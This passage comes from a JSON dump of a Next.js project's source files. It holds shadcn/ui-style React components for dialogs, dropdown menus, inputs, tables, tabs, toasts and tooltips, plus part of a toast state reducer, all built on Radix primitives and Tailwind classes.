\"CarouselNext\";\n\nexport {\n  type CarouselApi,\n  Carousel,\n  CarouselContent,\n  CarouselItem,\n  CarouselPrevious,\n  CarouselNext,\n};\n"
  },
  {
    "path": "components/ui/dialog.tsx",
    "content": "\"use client\"\n\nimport * as React from \"react\"\nimport * as DialogPrimitive from \"@radix-ui/react-dialog\"\nimport { Cross2Icon } from \"@radix-ui/react-icons\"\n\nimport { cn } from \"@/lib/utils\"\n\nconst Dialog = DialogPrimitive.Root\n\nconst DialogTrigger = DialogPrimitive.Trigger\n\nconst DialogPortal = DialogPrimitive.Portal\n\nconst DialogClose = DialogPrimitive.Close\n\nconst DialogOverlay = React.forwardRef<\n  React.ElementRef<typeof DialogPrimitive.Overlay>,\n  React.ComponentPropsWithoutRef<typeof DialogPrimitive.Overlay>\n>(({ className, ...props }, ref) => (\n  <DialogPrimitive.Overlay\n    ref={ref}\n    className={cn(\n      \"fixed inset-0 z-50 bg-black/80  data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0\",\n      className\n    )}\n    {...props}\n  />\n))\nDialogOverlay.displayName = DialogPrimitive.Overlay.displayName\n\nconst DialogContent = React.forwardRef<\n  React.ElementRef<typeof DialogPrimitive.Content>,\n  React.ComponentPropsWithoutRef<typeof DialogPrimitive.Content>\n>(({ className, children, ...props }, ref) => (\n  <DialogPortal>\n    <DialogOverlay />\n    <DialogPrimitive.Content\n      ref={ref}\n      className={cn(\n        \"fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border bg-background p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg\",\n        className\n      )}\n      {...props}\n    >\n      {children}\n      <DialogPrimitive.Close className=\"absolute right-4 top-4 rounded-sm opacity-70 ring-offset-background transition-opacity hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-accent data-[state=open]:text-muted-foreground\">\n        <Cross2Icon className=\"h-4 w-4\" />\n        <span className=\"sr-only\">Close</span>\n      </DialogPrimitive.Close>\n    </DialogPrimitive.Content>\n  </DialogPortal>\n))\nDialogContent.displayName = DialogPrimitive.Content.displayName\n\nconst DialogHeader = ({\n  className,\n  ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n  <div\n    className={cn(\n      \"flex flex-col space-y-1.5 text-center sm:text-left\",\n      className\n    )}\n    {...props}\n  />\n)\nDialogHeader.displayName = \"DialogHeader\"\n\nconst DialogFooter = ({\n  className,\n  ...props\n}: React.HTMLAttributes<HTMLDivElement>) => (\n  <div\n    className={cn(\n      \"flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2\",\n      className\n    )}\n    {...props}\n  />\n)\nDialogFooter.displayName = \"DialogFooter\"\n\nconst DialogTitle = React.forwardRef<\n  React.ElementRef<typeof DialogPrimitive.Title>,\n  React.ComponentPropsWithoutRef<typeof DialogPrimitive.Title>\n>(({ className, ...props }, ref) => (\n  <DialogPrimitive.Title\n    ref={ref}\n    className={cn(\n      \"text-lg font-semibold leading-none tracking-tight\",\n      className\n    )}\n    {...props}\n  />\n))\nDialogTitle.displayName = DialogPrimitive.Title.displayName\n\nconst DialogDescription = React.forwardRef<\n  React.ElementRef<typeof DialogPrimitive.Description>,\n  React.ComponentPropsWithoutRef<typeof DialogPrimitive.Description>\n>(({ className, ...props }, ref) => (\n  <DialogPrimitive.Description\n    ref={ref}\n    className={cn(\"text-sm text-muted-foreground\", className)}\n    {...props}\n  />\n))\nDialogDescription.displayName = DialogPrimitive.Description.displayName\n\nexport {\n  Dialog,\n  DialogPortal,\n  DialogOverlay,\n  DialogTrigger,\n  DialogClose,\n  DialogContent,\n  DialogHeader,\n  DialogFooter,\n  DialogTitle,\n  DialogDescription,\n}\n"
  },
  {
    "path": "components/ui/dropdown-menu.tsx",
    "content": "\"use client\"\n\nimport * as React from \"react\"\nimport * as DropdownMenuPrimitive from \"@radix-ui/react-dropdown-menu\"\nimport {\n  CheckIcon,\n  ChevronRightIcon,\n  DotFilledIcon,\n} from \"@radix-ui/react-icons\"\n\nimport { cn } from \"@/lib/utils\"\n\nconst DropdownMenu = DropdownMenuPrimitive.Root\n\nconst DropdownMenuTrigger = DropdownMenuPrimitive.Trigger\n\nconst DropdownMenuGroup = DropdownMenuPrimitive.Group\n\nconst DropdownMenuPortal = DropdownMenuPrimitive.Portal\n\nconst DropdownMenuSub = DropdownMenuPrimitive.Sub\n\nconst DropdownMenuRadioGroup = DropdownMenuPrimitive.RadioGroup\n\nconst DropdownMenuSubTrigger = React.forwardRef<\n  React.ElementRef<typeof DropdownMenuPrimitive.SubTrigger>,\n  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubTrigger> & {\n    inset?: boolean\n  }\n>(({ className, inset, children, ...props }, ref) => (\n  <DropdownMenuPrimitive.SubTrigger\n    ref={ref}\n    className={cn(\n      \"flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-accent data-[state=open]:bg-accent\",\n      inset && \"pl-8\",\n      className\n    )}\n    {...props}\n  >\n    {children}\n    <ChevronRightIcon className=\"ml-auto h-4 w-4\" />\n  </DropdownMenuPrimitive.SubTrigger>\n))\nDropdownMenuSubTrigger.displayName =\n  DropdownMenuPrimitive.SubTrigger.displayName\n\nconst DropdownMenuSubContent = React.forwardRef<\n  React.ElementRef<typeof DropdownMenuPrimitive.SubContent>,\n  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubContent>\n>(({ className, ...props }, ref) => (\n  <DropdownMenuPrimitive.SubContent\n    ref={ref}\n    className={cn(\n      \"z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2\",\n      className\n    )}\n    {...props}\n  />\n))\nDropdownMenuSubContent.displayName =\n  DropdownMenuPrimitive.SubContent.displayName\n\nconst DropdownMenuContent = React.forwardRef<\n  React.ElementRef<typeof DropdownMenuPrimitive.Content>,\n  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Content>\n>(({ className, sideOffset = 4, ...props }, ref) => (\n  <DropdownMenuPrimitive.Portal>\n    <DropdownMenuPrimitive.Content\n      ref={ref}\n      sideOffset={sideOffset}\n      className={cn(\n        \"z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-md\",\n        \"data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2\",\n        className\n      )}\n      {...props}\n    />\n  </DropdownMenuPrimitive.Portal>\n))\nDropdownMenuContent.displayName = DropdownMenuPrimitive.Content.displayName\n\nconst DropdownMenuItem = React.forwardRef<\n  React.ElementRef<typeof DropdownMenuPrimitive.Item>,\n  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Item> & {\n    inset?: boolean\n  }\n>(({ className, inset, ...props }, ref) => (\n  <DropdownMenuPrimitive.Item\n    ref={ref}\n    className={cn(\n      \"relative flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50\",\n      inset && \"pl-8\",\n      className\n    )}\n    {...props}\n  />\n))\nDropdownMenuItem.displayName = DropdownMenuPrimitive.Item.displayName\n\nconst DropdownMenuCheckboxItem = React.forwardRef<\n  React.ElementRef<typeof DropdownMenuPrimitive.CheckboxItem>,\n  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.CheckboxItem>\n>(({ className, children, checked, ...props }, ref) => (\n  <DropdownMenuPrimitive.CheckboxItem\n    ref={ref}\n    className={cn(\n      \"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50\",\n      className\n    )}\n    checked={checked}\n    {...props}\n  >\n    <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n      <DropdownMenuPrimitive.ItemIndicator>\n        <CheckIcon className=\"h-4 w-4\" />\n      </DropdownMenuPrimitive.ItemIndicator>\n    </span>\n    {children}\n  </DropdownMenuPrimitive.CheckboxItem>\n))\nDropdownMenuCheckboxItem.displayName =\n  DropdownMenuPrimitive.CheckboxItem.displayName\n\nconst DropdownMenuRadioItem = React.forwardRef<\n  React.ElementRef<typeof DropdownMenuPrimitive.RadioItem>,\n  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.RadioItem>\n>(({ className, children, ...props }, ref) => (\n  <DropdownMenuPrimitive.RadioItem\n    ref={ref}\n    className={cn(\n      \"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50\",\n      className\n    )}\n    {...props}\n  >\n    <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n      <DropdownMenuPrimitive.ItemIndicator>\n        <DotFilledIcon className=\"h-4 w-4 fill-current\" />\n      </DropdownMenuPrimitive.ItemIndicator>\n    </span>\n    {children}\n  </DropdownMenuPrimitive.RadioItem>\n))\nDropdownMenuRadioItem.displayName = DropdownMenuPrimitive.RadioItem.displayName\n\nconst DropdownMenuLabel = React.forwardRef<\n  React.ElementRef<typeof DropdownMenuPrimitive.Label>,\n  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Label> & {\n    inset?: boolean\n  }\n>(({ className, inset, ...props }, ref) => (\n  <DropdownMenuPrimitive.Label\n    ref={ref}\n    className={cn(\n      \"px-2 py-1.5 text-sm font-semibold\",\n      inset && \"pl-8\",\n      className\n    )}\n    {...props}\n  />\n))\nDropdownMenuLabel.displayName = DropdownMenuPrimitive.Label.displayName\n\nconst DropdownMenuSeparator = React.forwardRef<\n  React.ElementRef<typeof DropdownMenuPrimitive.Separator>,\n  React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Separator>\n>(({ className, ...props }, ref) => (\n  <DropdownMenuPrimitive.Separator\n    ref={ref}\n    className={cn(\"-mx-1 my-1 h-px bg-muted\", className)}\n    {...props}\n  />\n))\nDropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName\n\nconst DropdownMenuShortcut = ({\n  className,\n  ...props\n}: React.HTMLAttributes<HTMLSpanElement>) => {\n  return (\n    <span\n      className={cn(\"ml-auto text-xs tracking-widest opacity-60\", className)}\n      {...props}\n    />\n  )\n}\nDropdownMenuShortcut.displayName = \"DropdownMenuShortcut\"\n\nexport {\n  DropdownMenu,\n  DropdownMenuTrigger,\n  DropdownMenuContent,\n  DropdownMenuItem,\n  DropdownMenuCheckboxItem,\n  DropdownMenuRadioItem,\n  DropdownMenuLabel,\n  DropdownMenuSeparator,\n  DropdownMenuShortcut,\n  DropdownMenuGroup,\n  DropdownMenuPortal,\n  DropdownMenuSub,\n  DropdownMenuSubContent,\n  DropdownMenuSubTrigger,\n  DropdownMenuRadioGroup,\n}\n"
  },
  {
    "path": "components/ui/input.tsx",
    "content": "import * as React from \"react\"\n\nimport { cn } from \"@/lib/utils\"\n\nexport interface InputProps\n  extends React.InputHTMLAttributes<HTMLInputElement> {}\n\nconst Input = React.forwardRef<HTMLInputElement, InputProps>(\n  ({ className, type, ...props }, ref) => {\n    return (\n      <input\n        type={type}\n        className={cn(\n          \"flex h-9 w-full rounded-md border border-input bg-transparent px-3 py-1 text-sm shadow-sm transition-colors file:border-0 file:bg-transparent file:text-sm file:font-medium placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:cursor-not-allowed disabled:opacity-50\",\n          className\n        )}\n        ref={ref}\n        {...props}\n      />\n    )\n  }\n)\nInput.displayName = \"Input\"\n\nexport { Input }\n"
  },
  {
    "path": "components/ui/separator.tsx",
    "content": "\"use client\"\n\nimport * as React from \"react\"\nimport * as SeparatorPrimitive from \"@radix-ui/react-separator\"\n\nimport { cn } from \"@/lib/utils\"\n\nconst Separator = React.forwardRef<\n  React.ElementRef<typeof SeparatorPrimitive.Root>,\n  React.ComponentPropsWithoutRef<typeof SeparatorPrimitive.Root>\n>(\n  (\n    { className, orientation = \"horizontal\", decorative = true, ...props },\n    ref\n  ) => (\n    <SeparatorPrimitive.Root\n      ref={ref}\n      decorative={decorative}\n      orientation={orientation}\n      className={cn(\n        \"shrink-0 bg-border\",\n        orientation === \"horizontal\" ? \"h-[1px] w-full\" : \"h-full w-[1px]\",\n        className\n      )}\n      {...props}\n    />\n  )\n)\nSeparator.displayName = SeparatorPrimitive.Root.displayName\n\nexport { Separator }\n"
  },
  {
    "path": "components/ui/skeleton.tsx",
    "content": "import { cn } from \"@/lib/utils\"\n\nfunction Skeleton({\n  className,\n  ...props\n}: React.HTMLAttributes<HTMLDivElement>) {\n  return (\n    <div\n      className={cn(\"animate-pulse rounded-md bg-primary/10\", className)}\n      {...props}\n    />\n  )\n}\n\nexport { Skeleton }\n"
  },
  {
    "path": "components/ui/slider.tsx",
    "content": "\"use client\";\n\nimport * as React from \"react\";\nimport * as SliderPrimitive from \"@radix-ui/react-slider\";\n\nimport { cn } from \"@/lib/utils\";\n\nconst Slider = React.forwardRef<\n  React.ElementRef<typeof SliderPrimitive.Root>,\n  React.ComponentPropsWithoutRef<typeof SliderPrimitive.Root>\n>(({ className, ...props }, ref) => (\n  <SliderPrimitive.Root\n    ref={ref}\n    className={cn(\n      \"relative flex w-full touch-none select-none items-center\",\n      className\n    )}\n    {...props}\n  >\n    <SliderPrimitive.Track className=\"relative h-8 w-full grow overflow-hidden rounded-lg bg-primary/20\">\n      <SliderPrimitive.Range className=\"absolute h-full bg-primary\" />\n    </SliderPrimitive.Track>\n    <SliderPrimitive.Thumb className=\"block h-8 w-1 rounded-full border border-primary/50 bg-background shadow transition-colors focus-visible:outline-none focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50\" />\n  </SliderPrimitive.Root>\n));\nSlider.displayName = SliderPrimitive.Root.displayName;\n\nexport { Slider };\n"
  },
  {
    "path": "components/ui/table.tsx",
    "content": "import * as React from \"react\"\n\nimport { cn } from \"@/lib/utils\"\n\nconst Table = React.forwardRef<\n  HTMLTableElement,\n  React.HTMLAttributes<HTMLTableElement>\n>(({ className, ...props }, ref) => (\n  <div className=\"relative w-full overflow-auto\">\n    <table\n      ref={ref}\n      className={cn(\"w-full caption-bottom text-sm\", className)}\n      {...props}\n    />\n  </div>\n))\nTable.displayName = \"Table\"\n\nconst TableHeader = React.forwardRef<\n  HTMLTableSectionElement,\n  React.HTMLAttributes<HTMLTableSectionElement>\n>(({ className, ...props }, ref) => (\n  <thead ref={ref} className={cn(\"[&_tr]:border-b\", className)} {...props} />\n))\nTableHeader.displayName = \"TableHeader\"\n\nconst TableBody = React.forwardRef<\n  HTMLTableSectionElement,\n  React.HTMLAttributes<HTMLTableSectionElement>\n>(({ className, ...props }, ref) => (\n  <tbody\n    ref={ref}\n    className={cn(\"[&_tr:last-child]:border-0\", className)}\n    {...props}\n  />\n))\nTableBody.displayName = \"TableBody\"\n\nconst TableFooter = React.forwardRef<\n  HTMLTableSectionElement,\n  React.HTMLAttributes<HTMLTableSectionElement>\n>(({ className, ...props }, ref) => (\n  <tfoot\n    ref={ref}\n    className={cn(\n      \"border-t bg-muted/50 font-medium [&>tr]:last:border-b-0\",\n      className\n    )}\n    {...props}\n  />\n))\nTableFooter.displayName = \"TableFooter\"\n\nconst TableRow = React.forwardRef<\n  HTMLTableRowElement,\n  React.HTMLAttributes<HTMLTableRowElement>\n>(({ className, ...props }, ref) => (\n  <tr\n    ref={ref}\n    className={cn(\n      \"border-b transition-colors hover:bg-muted/50 data-[state=selected]:bg-muted\",\n      className\n    )}\n    {...props}\n  />\n))\nTableRow.displayName = \"TableRow\"\n\nconst TableHead = React.forwardRef<\n  HTMLTableCellElement,\n  React.ThHTMLAttributes<HTMLTableCellElement>\n>(({ className, ...props }, ref) => (\n  <th\n    ref={ref}\n    className={cn(\n      \"h-10 px-2 text-left align-middle font-medium text-muted-foreground [&:has([role=checkbox])]:pr-0 [&>[role=checkbox]]:translate-y-[2px]\",\n      className\n    )}\n    {...props}\n  />\n))\nTableHead.displayName = \"TableHead\"\n\nconst TableCell = React.forwardRef<\n  HTMLTableCellElement,\n  React.TdHTMLAttributes<HTMLTableCellElement>\n>(({ className, ...props }, ref) => (\n  <td\n    ref={ref}\n    className={cn(\n      \"p-2 align-middle [&:has([role=checkbox])]:pr-0 [&>[role=checkbox]]:translate-y-[2px]\",\n      className\n    )}\n    {...props}\n  />\n))\nTableCell.displayName = \"TableCell\"\n\nconst TableCaption = React.forwardRef<\n  HTMLTableCaptionElement,\n  React.HTMLAttributes<HTMLTableCaptionElement>\n>(({ className, ...props }, ref) => (\n  <caption\n    ref={ref}\n    className={cn(\"mt-4 text-sm text-muted-foreground\", className)}\n    {...props}\n  />\n))\nTableCaption.displayName = \"TableCaption\"\n\nexport {\n  Table,\n  TableHeader,\n  TableBody,\n  TableFooter,\n  TableHead,\n  TableRow,\n  TableCell,\n  TableCaption,\n}\n"
  },
  {
    "path": "components/ui/tabs.tsx",
    "content": "\"use client\"\n\nimport * as React from \"react\"\nimport * as TabsPrimitive from \"@radix-ui/react-tabs\"\n\nimport { cn } from \"@/lib/utils\"\n\nconst Tabs = TabsPrimitive.Root\n\nconst TabsList = React.forwardRef<\n  React.ElementRef<typeof TabsPrimitive.List>,\n  React.ComponentPropsWithoutRef<typeof TabsPrimitive.List>\n>(({ className, ...props }, ref) => (\n  <TabsPrimitive.List\n    ref={ref}\n    className={cn(\n      \"inline-flex h-9 items-center justify-center rounded-lg bg-muted p-1 text-muted-foreground\",\n      className\n    )}\n    {...props}\n  />\n))\nTabsList.displayName = TabsPrimitive.List.displayName\n\nconst TabsTrigger = React.forwardRef<\n  React.ElementRef<typeof TabsPrimitive.Trigger>,\n  React.ComponentPropsWithoutRef<typeof TabsPrimitive.Trigger>\n>(({ className, ...props }, ref) => (\n  <TabsPrimitive.Trigger\n    ref={ref}\n    className={cn(\n      \"inline-flex items-center justify-center whitespace-nowrap rounded-md px-3 py-1 text-sm font-medium ring-offset-background transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow\",\n      className\n    )}\n    {...props}\n  />\n))\nTabsTrigger.displayName = TabsPrimitive.Trigger.displayName\n\nconst TabsContent = React.forwardRef<\n  React.ElementRef<typeof TabsPrimitive.Content>,\n  React.ComponentPropsWithoutRef<typeof TabsPrimitive.Content>\n>(({ className, ...props }, ref) => (\n  <TabsPrimitive.Content\n    ref={ref}\n    className={cn(\n      \"mt-2 ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2\",\n      className\n    )}\n    {...props}\n  />\n))\nTabsContent.displayName = TabsPrimitive.Content.displayName\n\nexport { Tabs, TabsList, TabsTrigger, TabsContent }\n"
  },
  {
    "path": "components/ui/theme-provider.tsx",
    "content": "\"use client\";\n\nimport * as React from \"react\";\nimport { ThemeProvider as NextThemesProvider } from \"next-themes\";\nimport { type ThemeProviderProps } from \"next-themes/dist/types\";\n\nexport function ThemeProvider({ children, ...props }: ThemeProviderProps) {\n  return <NextThemesProvider {...props}>{children}</NextThemesProvider>;\n}\n"
  },
  {
    "path": "components/ui/toast.tsx",
    "content": "\"use client\"\n\nimport * as React from \"react\"\nimport { Cross2Icon } from \"@radix-ui/react-icons\"\nimport * as ToastPrimitives from \"@radix-ui/react-toast\"\nimport { cva, type VariantProps } from \"class-variance-authority\"\n\nimport { cn } from \"@/lib/utils\"\n\nconst ToastProvider = ToastPrimitives.Provider\n\nconst ToastViewport = React.forwardRef<\n  React.ElementRef<typeof ToastPrimitives.Viewport>,\n  React.ComponentPropsWithoutRef<typeof ToastPrimitives.Viewport>\n>(({ className, ...props }, ref) => (\n  <ToastPrimitives.Viewport\n    ref={ref}\n    className={cn(\n      \"fixed top-0 z-[100] flex max-h-screen w-full flex-col-reverse p-4 sm:bottom-0 sm:right-0 sm:top-auto sm:flex-col md:max-w-[420px]\",\n      className\n    )}\n    {...props}\n  />\n))\nToastViewport.displayName = ToastPrimitives.Viewport.displayName\n\nconst toastVariants = cva(\n  \"group pointer-events-auto relative flex w-full items-center justify-between space-x-2 overflow-hidden rounded-md border p-4 pr-6 shadow-lg transition-all data-[swipe=cancel]:translate-x-0 data-[swipe=end]:translate-x-[var(--radix-toast-swipe-end-x)] data-[swipe=move]:translate-x-[var(--radix-toast-swipe-move-x)] data-[swipe=move]:transition-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[swipe=end]:animate-out data-[state=closed]:fade-out-80 data-[state=closed]:slide-out-to-right-full data-[state=open]:slide-in-from-top-full data-[state=open]:sm:slide-in-from-bottom-full\",\n  {\n    variants: {\n      variant: {\n        default: \"border bg-background text-foreground\",\n        destructive:\n          \"destructive group border-destructive bg-destructive text-destructive-foreground\",\n      },\n    },\n    defaultVariants: {\n      variant: \"default\",\n    },\n  }\n)\n\nconst Toast = React.forwardRef<\n  React.ElementRef<typeof ToastPrimitives.Root>,\n  React.ComponentPropsWithoutRef<typeof ToastPrimitives.Root> &\n    VariantProps<typeof toastVariants>\n>(({ className, variant, ...props }, ref) => {\n  return (\n    <ToastPrimitives.Root\n      ref={ref}\n      className={cn(toastVariants({ variant }), className)}\n      {...props}\n    />\n  )\n})\nToast.displayName = ToastPrimitives.Root.displayName\n\nconst ToastAction = React.forwardRef<\n  React.ElementRef<typeof ToastPrimitives.Action>,\n  React.ComponentPropsWithoutRef<typeof ToastPrimitives.Action>\n>(({ className, ...props }, ref) => (\n  <ToastPrimitives.Action\n    ref={ref}\n    className={cn(\n      \"inline-flex h-8 shrink-0 items-center justify-center rounded-md border bg-transparent px-3 text-sm font-medium transition-colors hover:bg-secondary focus:outline-none focus:ring-1 focus:ring-ring disabled:pointer-events-none disabled:opacity-50 group-[.destructive]:border-muted/40 group-[.destructive]:hover:border-destructive/30 group-[.destructive]:hover:bg-destructive group-[.destructive]:hover:text-destructive-foreground group-[.destructive]:focus:ring-destructive\",\n      className\n    )}\n    {...props}\n  />\n))\nToastAction.displayName = ToastPrimitives.Action.displayName\n\nconst ToastClose = React.forwardRef<\n  React.ElementRef<typeof ToastPrimitives.Close>,\n  React.ComponentPropsWithoutRef<typeof ToastPrimitives.Close>\n>(({ className, ...props }, ref) => (\n  <ToastPrimitives.Close\n    ref={ref}\n    className={cn(\n      \"absolute right-1 top-1 rounded-md p-1 text-foreground/50 opacity-0 transition-opacity hover:text-foreground focus:opacity-100 focus:outline-none focus:ring-1 group-hover:opacity-100 group-[.destructive]:text-red-300 group-[.destructive]:hover:text-red-50 group-[.destructive]:focus:ring-red-400 group-[.destructive]:focus:ring-offset-red-600\",\n      className\n    )}\n    toast-close=\"\"\n    {...props}\n  >\n    <Cross2Icon className=\"h-4 w-4\" />\n  </ToastPrimitives.Close>\n))\nToastClose.displayName = ToastPrimitives.Close.displayName\n\nconst ToastTitle = React.forwardRef<\n  React.ElementRef<typeof ToastPrimitives.Title>,\n  React.ComponentPropsWithoutRef<typeof ToastPrimitives.Title>\n>(({ className, ...props }, ref) => (\n  <ToastPrimitives.Title\n    ref={ref}\n    className={cn(\"text-sm font-semibold [&+div]:text-xs\", className)}\n    {...props}\n  />\n))\nToastTitle.displayName = ToastPrimitives.Title.displayName\n\nconst ToastDescription = React.forwardRef<\n  React.ElementRef<typeof ToastPrimitives.Description>,\n  React.ComponentPropsWithoutRef<typeof ToastPrimitives.Description>\n>(({ className, ...props }, ref) => (\n  <ToastPrimitives.Description\n    ref={ref}\n    className={cn(\"text-sm opacity-90\", className)}\n    {...props}\n  />\n))\nToastDescription.displayName = ToastPrimitives.Description.displayName\n\ntype ToastProps = React.ComponentPropsWithoutRef<typeof Toast>\n\ntype ToastActionElement = React.ReactElement<typeof ToastAction>\n\nexport {\n  type ToastProps,\n  type ToastActionElement,\n  ToastProvider,\n  ToastViewport,\n  Toast,\n  ToastTitle,\n  ToastDescription,\n  ToastClose,\n  ToastAction,\n}\n"
  },
  {
    "path": "components/ui/toaster.tsx",
    "content": "\"use client\"\n\nimport {\n  Toast,\n  ToastClose,\n  ToastDescription,\n  ToastProvider,\n  ToastTitle,\n  ToastViewport,\n} from \"@/components/ui/toast\"\nimport { useToast } from \"@/components/ui/use-toast\"\n\nexport function Toaster() {\n  const { toasts } = useToast()\n\n  return (\n    <ToastProvider>\n      {toasts.map(function ({ id, title, description, action, ...props }) {\n        return (\n          <Toast key={id} {...props}>\n            <div className=\"grid gap-1\">\n              {title && <ToastTitle>{title}</ToastTitle>}\n              {description && (\n                <ToastDescription>{description}</ToastDescription>\n              )}\n            </div>\n            {action}\n            <ToastClose />\n          </Toast>\n        )\n      })}\n      <ToastViewport />\n    </ToastProvider>\n  )\n}\n"
  },
  {
    "path": "components/ui/tooltip.tsx",
    "content": "\"use client\";\n\nimport * as React from \"react\";\nimport * as TooltipPrimitive from \"@radix-ui/react-tooltip\";\n\nimport { cn } from \"@/lib/utils\";\n\nconst TooltipProvider = TooltipPrimitive.Provider;\n\nconst Tooltip = TooltipPrimitive.Root;\n\nconst TooltipTrigger = TooltipPrimitive.Trigger;\n\nconst TooltipContent = React.forwardRef<\n  React.ElementRef<typeof TooltipPrimitive.Content>,\n  React.ComponentPropsWithoutRef<typeof TooltipPrimitive.Content>\n>(({ className, sideOffset = 4, ...props }, ref) => (\n  <TooltipPrimitive.Content\n    ref={ref}\n    sideOffset={sideOffset}\n    className={cn(\n      \"z-50 overflow-hidden rounded-md bg-primary px-3 py-1.5 text-xs text-primary-foreground animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2\",\n      className\n    )}\n    {...props}\n  />\n));\nTooltipContent.displayName = TooltipPrimitive.Content.displayName;\n\nexport { Tooltip, TooltipTrigger, TooltipContent, TooltipProvider };\n"
  },
  {
    "path": "components/ui/use-toast.ts",
    "content": "\"use client\"\n\n// Inspired by react-hot-toast library\nimport * as React from \"react\"\n\nimport type {\n  ToastActionElement,\n  ToastProps,\n} from \"@/components/ui/toast\"\n\nconst TOAST_LIMIT = 1\nconst TOAST_REMOVE_DELAY = 1000000\n\ntype ToasterToast = ToastProps & {\n  id: string\n  title?: React.ReactNode\n  description?: React.ReactNode\n  action?: ToastActionElement\n}\n\nconst actionTypes = {\n  ADD_TOAST: \"ADD_TOAST\",\n  UPDATE_TOAST: \"UPDATE_TOAST\",\n  DISMISS_TOAST: \"DISMISS_TOAST\",\n  REMOVE_TOAST: \"REMOVE_TOAST\",\n} as const\n\nlet count = 0\n\nfunction genId() {\n  count = (count + 1) % Number.MAX_SAFE_INTEGER\n  return count.toString()\n}\n\ntype ActionType = typeof actionTypes\n\ntype Action =\n  | {\n      type: ActionType[\"ADD_TOAST\"]\n      toast: ToasterToast\n    }\n  | {\n      type: ActionType[\"UPDATE_TOAST\"]\n      toast: Partial<ToasterToast>\n    }\n  | {\n      type: ActionType[\"DISMISS_TOAST\"]\n      toastId?: ToasterToast[\"id\"]\n    }\n  | {\n      type: ActionType[\"REMOVE_TOAST\"]\n      toastId?: ToasterToast[\"id\"]\n    }\n\ninterface State {\n  toasts: ToasterToast[]\n}\n\nconst toastTimeouts = new Map<string, ReturnType<typeof setTimeout>>()\n\nconst addToRemoveQueue = (toastId: string) => {\n  if (toastTimeouts.has(toastId)) {\n    return\n  }\n\n  const timeout = setTimeout(() => {\n    toastTimeouts.delete(toastId)\n    dispatch({\n      type: \"REMOVE_TOAST\",\n      toastId: toastId,\n    })\n  }, TOAST_REMOVE_DELAY)\n\n  toastTimeouts.set(toastId, timeout)\n}\n\nexport const reducer = (state: State, action: Action): State => {\n  switch (action.type) {\n    case \"ADD_TOAST\":\n      return {\n        ...state,\n        toasts: [action.toast, ...state.toasts].slice(0, TOAST_LIMIT),\n      }\n\n    case \"UPDATE_TOAST\":\n      return {\n        ...state,\n        toasts: state.toasts.map((t) =>\n          t.id === action.toast.id ? { ...t, ...action.toast } : t\n        ),\n      }\n\n    case \"DISMISS_TOAST\": {\n      const { toastId } = action\n\n      // ! Side effects ! - This could be extracted into a dismissToast() action,\n      // but I'll keep it here for simplicity\n      if (toastId) {\n        addToRemoveQueue(toastId)\n      } else {\n        state.toasts.forEach((toast) => {\n          addToRemoveQueue(toast.id)\n        })\n      }\n\n      return {\n        ...state,\n        toasts: state.toasts.map((t) =>\n          t.id === toastId || toastId === 